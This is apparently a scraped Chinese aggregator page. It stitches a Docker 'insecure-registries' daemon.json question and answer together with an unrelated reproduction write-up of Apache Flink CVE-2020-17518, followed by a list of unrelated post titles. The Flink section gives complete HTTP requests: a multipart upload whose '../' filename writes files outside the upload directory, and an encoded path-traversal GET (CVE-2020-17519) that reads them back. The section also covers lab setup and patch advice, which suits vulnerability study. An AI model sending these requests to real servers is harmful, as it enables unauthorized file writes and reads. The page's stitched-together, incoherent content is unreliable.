"insecure-registries": ["192.168.189.165:81","192.168.189.96:81","218.27.3.120:81"]

时间: 2024-01-12 11:03:23 浏览: 179

Apache Flink CVE-2020-17518-id：L.pdf

### Apache Flink CVE-2020-17518 任意文件写入漏洞详解 #### 漏洞概述 CVE-2020-17518 是一个存在于 Apache Flink 中的安全漏洞，它允许远程攻击者通过 REST API 目录遍历来实现任意文件写入的功能。这一漏洞在 Flink 1.5.1 版本中首次引入，并一直存在至 1.11.2 版本。攻击者可以通过构造恶意的 HTTP 请求头，将文件写入到服务器的任意位置。 #### 漏洞细节 - **漏洞名称**：Apache Flink 任意文件写入漏洞 - **漏洞编号**：CVE-2020-17518 - **漏洞描述**：此漏洞利用了 Flink REST API 的设计缺陷，使得攻击者能够通过目录遍历的方式绕过权限控制，将任意文件写入到服务器上。 - **漏洞版本**：受影响版本范围为 1.5.1 至 1.11.2。 - **漏洞分析**：Flink 在 1.5.1 版本中新增了 REST API 功能，但未充分考虑到安全性问题，尤其是针对用户上传文件时的路径验证机制。攻击者可以通过精心构造的 HTTP 请求，利用目录遍历技巧，绕过安全检查并将文件保存到预期之外的位置。 #### 实验环境搭建与复现步骤为了更好地理解并复现此漏洞，我们可以按照以下步骤进行： 1. **实验环境准备**： - 使用 Vulhub 工具搭建实验环境。 - 首先下载 Vulhub，解压后进入目录 `vulhub-master/flink/CVE-2020-17518/`。 - 执行 `docker-compose build` 和 `docker-compose up -d` 命令来启动容器。 2. **复现步骤**： - 确保目标版本为 Flink 1.11.2。 - 发送恶意请求，构造如下 POST 请求： ``` POST /jars/upload HTTP/1.1 Host: 172.16.12.144:8081 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Length: 179 ------WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/test" test ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- ``` - 尽管返回的状态码为 400，且存在错误提示，但实际上文件已被成功写入到了服务器的指定位置。 3. **验证文件是否成功写入**： - 使用另一个漏洞（CVE-2020-17519）来验证文件是否被成功写入。此漏洞允许攻击者读取服务器上的任意文件。 - 构造 GET 请求： ``` GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252ftest HTTP/1.1 Host: 172.16.12.144:8081 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ``` - 如果请求成功，说明文件确实已经被写入到了服务器的 `/tmp/test` 路径下。 #### 安全建议 1. **升级版本**：强烈建议所有使用 Apache Flink 的组织和个人尽快升级到最新稳定版本，以修复已知的安全漏洞。 2. **限制访问**：对于需要暴露在公网的服务端点，应采用防火墙规则或访问控制列表等手段限制外部访问。 3. **代码审计**：定期进行代码审计和安全评估，确保系统的安全性。 4. **安全培训**：对开发人员进行安全培训，提高其安全意识，避免引入新的安全风险。 #### 结论 CVE-2020-17518 是一个严重威胁 Apache Flink 用户的安全漏洞。通过了解该漏洞的原理、复现过程以及采取相应的防护措施，可以有效地保护系统免受此类攻击。

根据提供的引用内容，"insecure-registries"是一个配置项，用于指定不安全的镜像仓库地址。在这个例子中，配置项的值是一个包含三个镜像仓库地址的列表。以下是一个示例配置文件的演示： ```shell cat > daemon.json << EOF { "insecure-registries": ["192.168.189.165:81","192.168.189.96:81","218.27.3.120:81"] } EOF ``` 这个配置文件将会创建一个名为daemon.json的文件，并将配置项"insecure-registries"的值设置为包含三个镜像仓库地址的列表。

阅读全文

"insecure-registries": ["192.168.189.165:81","192.168.189.96:81","218.27.3.120:81"]

相关推荐

mysql-8.0.16.tar.gz

mysql-8.0.19.tar.gz

在/etc/docker/daemon.json文件中添加一个{ "insecure-registries": ["192.168.10.12"] } 然后重启docker服务

webappsec-upgrade-insecure-requests:WebAppSec升级不安全请求

2018-ectf-insecure-example:2018年大学eCTF的示例代码不安全

Linux 将daemon.json文件的内容更改为{ "insecure-registries": ["localhost:5000"] }

{ #关闭debug，减少启动的信息 "debug": false, #docker的主机标签 "log-driver": "json-file", "log-level": "warn", "log-opts": { "max-file": "10", "max-size": "100m" }, "insecure-registries": ["10.6.64.150:8082"] }详细解释下这些配置各个参数的作用与含义

vim /etc/docker/daemon.json { "registry-mirrors": ["http://registry:5000"], "insecure-registries":["registry:5000"] }。 这是什么意思

vim 更改文件内容为{ "insecure-registries": ["localhost:5000"] }

/etc/docker/daemon.json里面有下面这样代码，没有名为 "hosts" 或 "registry-mirrors" 的键，{ "insecure-registries":["121.199.6.23:15105"] }

insecure-registries

Could not find artifact org.apache.maven.plugins:maven-source-plugin:jar: in nexus-releases (http://192.168.30.58:8081/repository/public/)

Could not find artifact org.springframework.boot:spring-boot-starter-parent:pom:2.7.15.RELEASE in alimaven (http://maven.aliyun

最新推荐

数据库基础测验20241113.doc

微信小程序下拉选择组件

黑板风格计算机毕业答辩PPT模板下载

管理建模和仿真的文件

提升点阵式液晶显示屏效率技术

在SoC芯片的射频测试中，ATE设备通常如何执行系统级测试以保证芯片量产的质量和性能一致？

CodeSandbox实现ListView快速创建指南

"互动学习：行动中的多样性与论文攻读经历"

点阵式显示屏常见故障诊断方法

名词性从句包括哪些类别？它们各自有哪些引导词？请结合例句详细解释。

vim /etc/docker/daemon.json { "registry-mirrors": ["http://registry:5000"], "insecure-registries":["registry:5000"] }。这是什么意思